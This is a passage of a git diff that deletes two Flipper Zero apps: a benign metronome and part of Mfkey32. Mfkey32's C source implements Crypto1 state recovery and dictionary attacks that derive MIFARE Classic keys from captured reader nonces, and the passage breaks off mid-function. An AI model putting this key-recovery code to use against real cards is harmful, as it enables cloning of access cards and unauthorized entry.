and coarse (hold pressed) -- Selectable amount of beats per bar -- Selectable note length -- First beat is pronounced -- Progress indicator -- LED flashes accordingly -- 3 different settings: Beep, Vibrate, Silent (push Down to change) - -## Compiling - -``` -./fbt firmware_metronome -``` diff --git a/applications/external/metronome/application.fam b/applications/external/metronome/application.fam deleted file mode 100644 index dc10e386f..000000000 --- a/applications/external/metronome/application.fam +++ /dev/null @@ -1,17 +0,0 @@ -App( - appid="metronome", - name="Metronome", - apptype=FlipperAppType.EXTERNAL, - entry_point="metronome_app", - requires=[ - "gui", - ], - fap_icon="metronome_icon.png", - fap_category="Media", - fap_icon_assets="images", - stack_size=2 * 1024, - order=20, - fap_author="@panki27 & @xMasterX", - fap_version="1.0", - fap_description="Metronome app", -) diff --git a/applications/external/metronome/gui_extensions.c b/applications/external/metronome/gui_extensions.c deleted file mode 100644 index f33c5f651..000000000 --- a/applications/external/metronome/gui_extensions.c +++ /dev/null @@ -1,56 +0,0 @@ -#include -#include -#include - -//lib can only do bottom left/right -void elements_button_top_left(Canvas* canvas, const char* str) { - const uint8_t button_height = 12; - const uint8_t vertical_offset = 3; - const uint8_t horizontal_offset = 3; - const uint8_t string_width = canvas_string_width(canvas, str); - const Icon* icon = &I_ButtonUp_7x4; - const uint8_t icon_h_offset = 3; - const uint8_t icon_width_with_offset = icon->width + icon_h_offset; - const uint8_t icon_v_offset = icon->height + vertical_offset; - const uint8_t button_width = string_width + horizontal_offset * 2 + icon_width_with_offset; - - const uint8_t x = 0; - const uint8_t y = 0 + button_height; - - canvas_draw_box(canvas, x, y - button_height, button_width, button_height); - canvas_draw_line(canvas, x + button_width + 0, y - button_height, x + button_width + 0, y - 1); - canvas_draw_line(canvas, x + button_width + 1, y - button_height, x + button_width + 1, y - 2); - canvas_draw_line(canvas, x + button_width + 2, y - button_height, x + button_width + 2, y - 3); - - canvas_invert_color(canvas); - canvas_draw_icon(canvas, x + horizontal_offset, y - icon_v_offset, &I_ButtonUp_7x4); - canvas_draw_str( - canvas, x + horizontal_offset + icon_width_with_offset, y - vertical_offset, str); - canvas_invert_color(canvas); -} - -void elements_button_top_right(Canvas* canvas, const char* str) { - const uint8_t button_height = 12; - const uint8_t vertical_offset = 3; - const uint8_t horizontal_offset = 3; - const uint8_t string_width = canvas_string_width(canvas, str); - const Icon* icon = &I_ButtonUp_7x4; - const uint8_t icon_h_offset = 3; - const uint8_t icon_width_with_offset = icon->width + icon_h_offset; - const uint8_t icon_v_offset = icon->height + vertical_offset; - const uint8_t button_width = string_width + horizontal_offset * 2 + icon_width_with_offset; - - const uint8_t x = canvas_width(canvas); - const uint8_t y = 0 + button_height; - - canvas_draw_box(canvas, x - button_width, y - button_height, button_width, button_height); - canvas_draw_line(canvas, x - button_width - 1, y - button_height, x - button_width - 1, y - 1); - canvas_draw_line(canvas, x - button_width - 2, y - button_height, x - button_width - 2, y - 2); - canvas_draw_line(canvas, x - button_width - 3, y - button_height, x - button_width - 3, y - 3); - - canvas_invert_color(canvas); - canvas_draw_str(canvas, x - button_width + horizontal_offset, y - vertical_offset, str); - canvas_draw_icon( - canvas, x - horizontal_offset - icon->width, y - icon_v_offset, &I_ButtonUp_7x4); - canvas_invert_color(canvas); -} diff --git a/applications/external/metronome/gui_extensions.h b/applications/external/metronome/gui_extensions.h deleted file mode 100644 index 97df1952c..000000000 --- a/applications/external/metronome/gui_extensions.h +++ /dev/null @@ -1,3 +0,0 @@ -void elements_button_top_right(Canvas* canvas, const char* str); - -void elements_button_top_left(Canvas* canvas, const char* str); diff --git a/applications/external/metronome/images/ButtonUp_7x4.png b/applications/external/metronome/images/ButtonUp_7x4.png deleted file mode 100644 index 1be79328b..000000000 Binary files a/applications/external/metronome/images/ButtonUp_7x4.png and /dev/null differ diff --git a/applications/external/metronome/img/screenshot.png b/applications/external/metronome/img/screenshot.png deleted file mode 100644 index 7b6916e81..000000000 Binary files a/applications/external/metronome/img/screenshot.png and /dev/null differ diff --git a/applications/external/metronome/img/wave_left_4x14.png b/applications/external/metronome/img/wave_left_4x14.png deleted file mode 100644 index beb2a611d..000000000 Binary files a/applications/external/metronome/img/wave_left_4x14.png and /dev/null differ diff --git a/applications/external/metronome/img/wave_right_4x14.png b/applications/external/metronome/img/wave_right_4x14.png deleted file mode 100644 index af249ee5b..000000000 Binary files a/applications/external/metronome/img/wave_right_4x14.png and /dev/null differ diff --git a/applications/external/metronome/metronome.c b/applications/external/metronome/metronome.c deleted file mode 100644 index a01f4418d..000000000 --- a/applications/external/metronome/metronome.c +++ /dev/null @@ -1,398 +0,0 @@ -#include -#include -#include -#include - -#include -#include -#include - -#include -#include - -#include "gui_extensions.h" - -#define BPM_STEP_SIZE_FINE 0.5d -#define BPM_STEP_SIZE_COARSE 10.0d -#define BPM_BOUNDARY_LOW 10.0d -#define BPM_BOUNDARY_HIGH 300.0d -#define BEEP_DELAY_MS 50 - -#define wave_bitmap_left_width 4 -#define wave_bitmap_left_height 14 -static uint8_t wave_bitmap_left_bits[] = - {0x08, 0x0C, 0x06, 0x06, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x06, 0x06, 0x0C, 0x08}; - -#define wave_bitmap_right_width 4 -#define wave_bitmap_right_height 14 -static uint8_t wave_bitmap_right_bits[] = - {0x01, 0x03, 0x06, 0x06, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x06, 0x06, 0x03, 0x01}; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -enum OutputMode { Loud, Vibro, Silent }; - -typedef struct { - double bpm; - bool playing; - int beats_per_bar; - int note_length; - int current_beat; - enum OutputMode output_mode; - FuriTimer* timer; - NotificationApp* notifications; - FuriMutex* mutex; -} MetronomeState; - -static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const MetronomeState* metronome_state = ctx; - furi_mutex_acquire(metronome_state->mutex, FuriWaitForever); - - FuriString* tempStr = furi_string_alloc(); - - canvas_draw_frame(canvas, 0, 0, 128, 64); - - canvas_set_font(canvas, FontPrimary); - - // draw bars/beat - furi_string_printf( - tempStr, "%d/%d", metronome_state->beats_per_bar, metronome_state->note_length); - canvas_draw_str_aligned( - canvas, 64, 8, AlignCenter, AlignCenter, furi_string_get_cstr(tempStr)); - furi_string_reset(tempStr); - - // draw BPM value - furi_string_printf(tempStr, "%.2f", metronome_state->bpm); - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned( - canvas, 64, 24, AlignCenter, AlignCenter, furi_string_get_cstr(tempStr)); - furi_string_reset(tempStr); - - // draw volume indicator - // always draw first waves - canvas_draw_xbm( - canvas, 20, 17, wave_bitmap_left_width, wave_bitmap_left_height, wave_bitmap_left_bits); - canvas_draw_xbm( - canvas, - canvas_width(canvas) - 20 - wave_bitmap_right_width, - 17, - wave_bitmap_right_width, - wave_bitmap_right_height, - wave_bitmap_right_bits); - if(metronome_state->output_mode < Silent) { - canvas_draw_xbm( - canvas, 16, 17, wave_bitmap_left_width, wave_bitmap_left_height, wave_bitmap_left_bits); - canvas_draw_xbm( - canvas, - canvas_width(canvas) - 16 - wave_bitmap_right_width, - 17, - wave_bitmap_right_width, - wave_bitmap_right_height, - wave_bitmap_right_bits); - } - if(metronome_state->output_mode < Vibro) { - canvas_draw_xbm( - canvas, 12, 17, wave_bitmap_left_width, wave_bitmap_left_height, wave_bitmap_left_bits); - canvas_draw_xbm( - canvas, - canvas_width(canvas) - 12 - wave_bitmap_right_width, - 17, - wave_bitmap_right_width, - wave_bitmap_right_height, - wave_bitmap_right_bits); - } - // draw button prompts - canvas_set_font(canvas, FontSecondary); - elements_button_left(canvas, "Slow"); - elements_button_right(canvas, "Fast"); - if(metronome_state->playing) { - elements_button_center(canvas, "Stop "); - } else { - elements_button_center(canvas, "Start"); - } - elements_button_top_left(canvas, "Push"); - elements_button_top_right(canvas, "Hold"); - - // draw progress bar - elements_progress_bar( - canvas, 8, 36, 112, (float)metronome_state->current_beat / metronome_state->beats_per_bar); - - // cleanup - furi_string_free(tempStr); - furi_mutex_release(metronome_state->mutex); -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void timer_callback(void* ctx) { - // this is where we go BEEP! - furi_assert(ctx); - MetronomeState* metronome_state = ctx; - furi_mutex_acquire(metronome_state->mutex, FuriWaitForever); - - metronome_state->current_beat++; - if(metronome_state->current_beat > metronome_state->beats_per_bar) { - metronome_state->current_beat = 1; - } - if(metronome_state->current_beat == 1) { - // pronounced beat - notification_message(metronome_state->notifications, &sequence_set_only_red_255); - switch(metronome_state->output_mode) { - case Loud: - if(furi_hal_speaker_acquire(1000)) { - furi_hal_speaker_start(440.0f, 1.0f); - } - break; - case Vibro: - notification_message(metronome_state->notifications, &sequence_set_vibro_on); - break; - case Silent: - break; - } - } else { - // unpronounced beat - notification_message(metronome_state->notifications, &sequence_set_only_green_255); - switch(metronome_state->output_mode) { - case Loud: - if(furi_hal_speaker_acquire(1000)) { - furi_hal_speaker_start(220.0f, 1.0f); - } - break; - case Vibro: - notification_message(metronome_state->notifications, &sequence_set_vibro_on); - break; - case Silent: - break; - } - }; - - // this is a bit of a kludge... if we are on vibro and unpronounced, stop vibro after half the usual duration - switch(metronome_state->output_mode) { - case Loud: - furi_delay_ms(BEEP_DELAY_MS); - if(furi_hal_speaker_is_mine()) { - furi_hal_speaker_stop(); - furi_hal_speaker_release(); - } - break; - case Vibro: - if(metronome_state->current_beat == 1) { - furi_delay_ms(BEEP_DELAY_MS); - notification_message(metronome_state->notifications, &sequence_reset_vibro); - } else { - furi_delay_ms((int)BEEP_DELAY_MS / 2); - notification_message(metronome_state->notifications, &sequence_reset_vibro); - furi_delay_ms((int)BEEP_DELAY_MS / 2); - } - break; - case Silent: - break; - } - notification_message(metronome_state->notifications, &sequence_reset_rgb); - - furi_mutex_release(metronome_state->mutex); -} - -static uint32_t state_to_sleep_ticks(MetronomeState* metronome_state) { - // calculate time between beeps - uint32_t tps = furi_kernel_get_tick_frequency(); - double multiplier = 4.0d / metronome_state->note_length; - double bps = (double)metronome_state->bpm / 60; - return (uint32_t)(round(tps / bps) - ((BEEP_DELAY_MS / 1000) * tps)) * multiplier; -} - -static void update_timer(MetronomeState* metronome_state) { - if(furi_timer_is_running(metronome_state->timer)) { - furi_timer_stop(metronome_state->timer); - furi_timer_start(metronome_state->timer, state_to_sleep_ticks(metronome_state)); - } -} - -static void increase_bpm(MetronomeState* metronome_state, double amount) { - metronome_state->bpm += amount; - if(metronome_state->bpm > (double)BPM_BOUNDARY_HIGH) { - metronome_state->bpm = BPM_BOUNDARY_HIGH; - } - update_timer(metronome_state); -} - -static void decrease_bpm(MetronomeState* metronome_state, double amount) { - metronome_state->bpm -= amount; - if(metronome_state->bpm < (double)BPM_BOUNDARY_LOW) { - metronome_state->bpm = BPM_BOUNDARY_LOW; - } - update_timer(metronome_state); -} - -static void cycle_beats_per_bar(MetronomeState* metronome_state) { - metronome_state->beats_per_bar++; - if(metronome_state->beats_per_bar > metronome_state->note_length) { - metronome_state->beats_per_bar = 1; - } -} - -static void cycle_note_length(MetronomeState* metronome_state) { - metronome_state->note_length *= 2; - if(metronome_state->note_length > 16) { - metronome_state->note_length = 2; - metronome_state->beats_per_bar = 1; - } - update_timer(metronome_state); -} - -static void cycle_output_mode(MetronomeState* metronome_state) { - metronome_state->output_mode++; - if(metronome_state->output_mode > Silent) { - metronome_state->output_mode = Loud; - } -} - -static void metronome_state_init(MetronomeState* const metronome_state) { - metronome_state->bpm = 120.0; - metronome_state->playing = false; - metronome_state->beats_per_bar = 4; - metronome_state->note_length = 4; - metronome_state->current_beat = 0; - metronome_state->output_mode = Loud; - metronome_state->notifications = furi_record_open(RECORD_NOTIFICATION); -} - -int32_t metronome_app() { - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - - MetronomeState* metronome_state = malloc(sizeof(MetronomeState)); - metronome_state_init(metronome_state); - - metronome_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!metronome_state->mutex) { - FURI_LOG_E("Metronome", "cannot create mutex\r\n"); - free(metronome_state); - return 255; - } - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, metronome_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - metronome_state->timer = - furi_timer_alloc(timer_callback, FuriTimerTypePeriodic, metronome_state); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - PluginEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - - furi_mutex_acquire(metronome_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - if(event.type == EventTypeKey) { - if(event.input.type == InputTypeShort) { - // push events - switch(event.input.key) { - case InputKeyUp: - cycle_beats_per_bar(metronome_state); - break; - case InputKeyDown: - cycle_output_mode(metronome_state); - break; - case InputKeyRight: - increase_bpm(metronome_state, BPM_STEP_SIZE_FINE); - break; - case InputKeyLeft: - decrease_bpm(metronome_state, BPM_STEP_SIZE_FINE); - break; - case InputKeyOk: - metronome_state->playing = !metronome_state->playing; - if(metronome_state->playing) { - furi_timer_start( - metronome_state->timer, state_to_sleep_ticks(metronome_state)); - } else { - furi_timer_stop(metronome_state->timer); - } - break; - case InputKeyBack: - processing = false; - break; - default: - break; - } - } else if(event.input.type == InputTypeLong) { - // hold events - switch(event.input.key) { - case InputKeyUp: - cycle_note_length(metronome_state); - break; - case InputKeyDown: - break; - case InputKeyRight: - increase_bpm(metronome_state, BPM_STEP_SIZE_COARSE); - break; - case InputKeyLeft: - decrease_bpm(metronome_state, BPM_STEP_SIZE_COARSE); - break; - case InputKeyOk: - break; - case InputKeyBack: - processing = false; - break; - default: - break; - } - } else if(event.input.type == InputTypeRepeat) { - // repeat events - switch(event.input.key) { - case InputKeyUp: - break; - case InputKeyDown: - break; - case InputKeyRight: - increase_bpm(metronome_state, BPM_STEP_SIZE_COARSE); - break; - case InputKeyLeft: - decrease_bpm(metronome_state, BPM_STEP_SIZE_COARSE); - break; - case InputKeyOk: - break; - case InputKeyBack: - processing = false; - break; - default: - break; - } - } - } - } - - view_port_update(view_port); - furi_mutex_release(metronome_state->mutex); - } - - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(metronome_state->mutex); - furi_timer_free(metronome_state->timer); - furi_record_close(RECORD_NOTIFICATION); - free(metronome_state); - - return 0; -} diff --git a/applications/external/metronome/metronome_icon.png b/applications/external/metronome/metronome_icon.png deleted file mode 100644 index 64d0ddbe9..000000000 Binary files a/applications/external/metronome/metronome_icon.png and /dev/null differ diff --git a/applications/external/mfkey32/application.fam b/applications/external/mfkey32/application.fam deleted file mode 100644 index 75fa40bf6..000000000 --- a/applications/external/mfkey32/application.fam +++ /dev/null @@ -1,17 +0,0 @@ -App( - appid="mfkey32", - name="Mfkey32", - apptype=FlipperAppType.EXTERNAL, - targets=["f7"], - entry_point="mfkey32_main", - requires=[ - "gui", - "storage", - ], - stack_size=1 * 1024, - fap_icon="mfkey.png", - fap_category="NFC", - fap_author="noproto", - fap_icon_assets="images", - fap_weburl="https://github.com/noproto/FlipperMfkey", -) diff --git a/applications/external/mfkey32/images/mfkey.png b/applications/external/mfkey32/images/mfkey.png deleted file mode 100644 index 52ab29efb..000000000 Binary files a/applications/external/mfkey32/images/mfkey.png and /dev/null differ diff --git a/applications/external/mfkey32/mfkey.png b/applications/external/mfkey32/mfkey.png deleted file mode 100644 index 52ab29efb..000000000 Binary files a/applications/external/mfkey32/mfkey.png and /dev/null differ diff --git a/applications/external/mfkey32/mfkey32.c b/applications/external/mfkey32/mfkey32.c deleted file mode 100644 index 5e790b01f..000000000 --- a/applications/external/mfkey32/mfkey32.c +++ /dev/null @@ -1,1349 +0,0 @@ -#pragma GCC optimize("O3") -#pragma GCC optimize("-funroll-all-loops") - -// TODO: Add keys to top of the user dictionary, not the bottom -// TODO: More efficient dictionary bruteforce by scanning through hardcoded very common keys and previously found dictionary keys first? -// (a cache for napi_key_already_found_for_nonce) - -#include -#include -#include "time.h" -#include -#include -#include -#include -#include "mfkey32_icons.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define MF_CLASSIC_DICT_FLIPPER_PATH EXT_PATH("nfc/assets/mf_classic_dict.nfc") -#define MF_CLASSIC_DICT_USER_PATH EXT_PATH("nfc/assets/mf_classic_dict_user.nfc") -#define MF_CLASSIC_NONCE_PATH EXT_PATH("nfc/.mfkey32.log") -#define TAG "Mfkey32" -#define NFC_MF_CLASSIC_KEY_LEN (13) - -#define MIN_RAM 115632 -#define LF_POLY_ODD (0x29CE5C) -#define LF_POLY_EVEN (0x870804) -#define CONST_M1_1 (LF_POLY_EVEN << 1 | 1) -#define CONST_M2_1 (LF_POLY_ODD << 1) -#define CONST_M1_2 (LF_POLY_ODD) -#define CONST_M2_2 (LF_POLY_EVEN << 1 | 1) -#define BIT(x, n) ((x) >> (n)&1) -#define BEBIT(x, n) BIT(x, (n) ^ 24) -#define SWAPENDIAN(x) \ - ((x) = ((x) >> 8 & 0xff00ff) | ((x)&0xff00ff) << 8, (x) = (x) >> 16 | (x) << 16) -//#define SIZEOF(arr) sizeof(arr) / sizeof(*arr) - -static int eta_round_time = 56; -static int eta_total_time = 900; -// MSB_LIMIT: Chunk size (out of 256) -static int MSB_LIMIT = 16; - -struct Crypto1State { - uint32_t odd, even; -}; -struct Crypto1Params { - uint64_t key; - uint32_t nr0_enc, uid_xor_nt0, uid_xor_nt1, nr1_enc, p64b, ar1_enc; -}; -struct Msb { - int tail; - uint32_t states[768]; -}; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -typedef enum { - MissingNonces, - ZeroNonces, -} MfkeyError; - -typedef enum { - Ready, - Initializing, - DictionaryAttack, - MfkeyAttack, - Complete, - Error, - Help, -} MfkeyState; - -// TODO: Can we eliminate any of the members of this struct? -typedef struct { - FuriMutex* mutex; - MfkeyError err; - MfkeyState mfkey_state; - int cracked; - int unique_cracked; - int num_completed; - int total; - int dict_count; - int search; - int eta_timestamp; - int eta_total; - int eta_round; - bool is_thread_running; - bool close_thread_please; - FuriThread* mfkeythread; -} ProgramState; - -// TODO: Merge this with Crypto1Params? -typedef struct { - uint32_t uid; // serial number - uint32_t nt0; // tag challenge first - uint32_t nt1; // tag challenge second - uint32_t nr0_enc; // first encrypted reader challenge - uint32_t ar0_enc; // first encrypted reader response - uint32_t nr1_enc; // second encrypted reader challenge - uint32_t ar1_enc; // second encrypted reader response -} MfClassicNonce; - -typedef struct { - Stream* stream; - uint32_t total_nonces; - MfClassicNonce* remaining_nonce_array; - size_t remaining_nonces; -} MfClassicNonceArray; - -struct MfClassicDict { - Stream* stream; - uint32_t total_keys; -}; - -static const uint8_t table[256] = { - 0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, - 4, 4, 5, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, - 4, 5, 4, 5, 5, 6, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, - 5, 3, 4, 4, 5, 4, 5, 5, 6, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 3, 4, 4, 5, - 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, - 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, - 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, - 5, 4, 5, 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 3, 4, 4, 5, 4, 5, 5, 6, - 4, 5, 5, 6, 5, 6, 6, 7, 4, 5, 5, 6, 5, 6, 6, 7, 5, 6, 6, 7, 6, 7, 7, 8}; -static const uint8_t lookup1[256] = { - 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, - 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, - 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, 8, 8, 24, 24, 8, 24, 8, 8, - 8, 24, 8, 8, 24, 24, 24, 24, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, - 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, - 0, 16, 0, 0, 16, 16, 16, 16, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, - 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, - 0, 16, 0, 0, 16, 16, 16, 16, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, - 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, 0, 0, 16, 16, 0, 16, 0, 0, - 0, 16, 0, 0, 16, 16, 16, 16, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, - 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24}; -static const uint8_t lookup2[256] = { - 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, - 4, 4, 4, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, - 2, 2, 6, 6, 6, 6, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 2, 2, 6, 6, 2, 6, 2, - 2, 2, 6, 2, 2, 6, 6, 6, 6, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 0, 0, 4, 4, - 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 2, - 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, - 4, 4, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, - 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, - 2, 6, 2, 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6}; - -uint32_t prng_successor(uint32_t x, uint32_t n) { - SWAPENDIAN(x); - while(n--) x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; - return SWAPENDIAN(x); -} - -static inline int filter(uint32_t const x) { - uint32_t f; - f = lookup1[x & 0xff] | lookup2[(x >> 8) & 0xff]; - f |= 0x0d938 >> (x >> 16 & 0xf) & 1; - return BIT(0xEC57E80A, f); -} - -static inline uint8_t evenparity32(uint32_t x) { - if((table[x & 0xff] + table[(x >> 8) & 0xff] + table[(x >> 16) & 0xff] + table[x >> 24]) % 2 == - 0) { - return 0; - } else { - return 1; - } - //return ((table[x & 0xff] + table[(x >> 8) & 0xff] + table[(x >> 16) & 0xff] + table[x >> 24]) % 2) & 0xFF; -} - -static inline void update_contribution(unsigned int data[], int item, int mask1, int mask2) { - int p = data[item] >> 25; - p = p << 1 | evenparity32(data[item] & mask1); - p = p << 1 | evenparity32(data[item] & mask2); - data[item] = p << 24 | (data[item] & 0xffffff); -} - -void crypto1_get_lfsr(struct Crypto1State* state, uint64_t* lfsr) { - int i; - for(*lfsr = 0, i = 23; i >= 0; --i) { - *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3); - *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3); - } -} - -static inline uint32_t crypt_word(struct Crypto1State* s) { - // "in" and "x" are always 0 (last iteration) - uint32_t res_ret = 0; - uint32_t feedin, t; - for(int i = 0; i <= 31; i++) { - res_ret |= (filter(s->odd) << (24 ^ i)); //-V629 - feedin = LF_POLY_EVEN & s->even; - feedin ^= LF_POLY_ODD & s->odd; - s->even = s->even << 1 | (evenparity32(feedin)); - t = s->odd, s->odd = s->even, s->even = t; - } - return res_ret; -} - -static inline void crypt_word_noret(struct Crypto1State* s, uint32_t in, int x) { - uint8_t ret; - uint32_t feedin, t, next_in; - for(int i = 0; i <= 31; i++) { - next_in = BEBIT(in, i); - ret = filter(s->odd); - feedin = ret & (!!x); - feedin ^= LF_POLY_EVEN & s->even; - feedin ^= LF_POLY_ODD & s->odd; - feedin ^= !!next_in; - s->even = s->even << 1 | (evenparity32(feedin)); - t = s->odd, s->odd = s->even, s->even = t; - } - return; -} - -static inline void rollback_word_noret(struct Crypto1State* s, uint32_t in, int x) { - uint8_t ret; - uint32_t feedin, t, next_in; - for(int i = 31; i >= 0; i--) { - next_in = BEBIT(in, i); - s->odd &= 0xffffff; - t = s->odd, s->odd = s->even, s->even = t; - ret = filter(s->odd); - feedin = ret & (!!x); - feedin ^= s->even & 1; - feedin ^= LF_POLY_EVEN & (s->even >>= 1); - feedin ^= LF_POLY_ODD & s->odd; - feedin ^= !!next_in; - s->even |= (evenparity32(feedin)) << 23; - } - return; -} - -int key_already_found_for_nonce( - uint64_t* keyarray, - int keyarray_size, - uint32_t uid_xor_nt1, - uint32_t nr1_enc, - uint32_t p64b, - uint32_t ar1_enc) { - for(int k = 0; k < keyarray_size; k++) { - struct Crypto1State temp = {0, 0}; - - for(int i = 0; i < 24; i++) { - (&temp)->odd |= (BIT(keyarray[k], 2 * i + 1) << (i ^ 3)); - (&temp)->even |= (BIT(keyarray[k], 2 * i) << (i ^ 3)); - } - - crypt_word_noret(&temp, uid_xor_nt1, 0); - crypt_word_noret(&temp, nr1_enc, 1); - - if(ar1_enc == (crypt_word(&temp) ^ p64b)) { - return 1; - } - } - return 0; -} - -int check_state(struct Crypto1State* t, struct Crypto1Params* p) { - if(!(t->odd | t->even)) return 0; - rollback_word_noret(t, 0, 0); - rollback_word_noret(t, p->nr0_enc, 1); - rollback_word_noret(t, p->uid_xor_nt0, 0); - struct Crypto1State temp = {t->odd, t->even}; - crypt_word_noret(t, p->uid_xor_nt1, 0); - crypt_word_noret(t, p->nr1_enc, 1); - if(p->ar1_enc == (crypt_word(t) ^ p->p64b)) { - crypto1_get_lfsr(&temp, &(p->key)); - return 1; - } - return 0; -} - -static inline int state_loop(unsigned int* states_buffer, int xks, int m1, int m2) { - int states_tail = 0; - int round = 0, s = 0, xks_bit = 0; - - for(round = 1; round <= 12; round++) { - xks_bit = BIT(xks, round); - - for(s = 0; s <= states_tail; s++) { - states_buffer[s] <<= 1; - - if((filter(states_buffer[s]) ^ filter(states_buffer[s] | 1)) != 0) { - states_buffer[s] |= filter(states_buffer[s]) ^ xks_bit; - if(round > 4) { - update_contribution(states_buffer, s, m1, m2); - } - } else if(filter(states_buffer[s]) == xks_bit) { - // TODO: Refactor - if(round > 4) { - states_buffer[++states_tail] = states_buffer[s + 1]; - states_buffer[s + 1] = states_buffer[s] | 1; - update_contribution(states_buffer, s, m1, m2); - s++; - update_contribution(states_buffer, s, m1, m2); - } else { - states_buffer[++states_tail] = states_buffer[++s]; - states_buffer[s] = states_buffer[s - 1] | 1; - } - } else { - states_buffer[s--] = states_buffer[states_tail--]; - } - } - } - - return states_tail; -} - -int binsearch(unsigned int data[], int start, int stop) { - int mid, val = data[stop] & 0xff000000; - while(start != stop) { - mid = (stop - start) >> 1; - if((data[start + mid] ^ 0x80000000) > (val ^ 0x80000000)) - stop = start + mid; - else - start += mid + 1; - } - return start; -} -void quicksort(unsigned int array[], int low, int high) { - //if (SIZEOF(array) == 0) - // return; - if(low >= high) return; - int middle = low + (high - low) / 2; - unsigned int pivot = array[middle]; - int i = low, j = high; - while(i <= j) { - while(array[i] < pivot) { - i++; - } - while(array[j] > pivot) { - j--; - } - if(i <= j) { // swap - int temp = array[i]; - array[i] = array[j]; - array[j] = temp; - i++; - j--; - } - } - if(low < j) { - quicksort(array, low, j); - } - if(high > i) { - quicksort(array, i, high); - } -} -int extend_table(unsigned int data[], int tbl, int end, int bit, int m1, int m2) { - for(data[tbl] <<= 1; tbl <= end; data[++tbl] <<= 1) { - if((filter(data[tbl]) ^ filter(data[tbl] | 1)) != 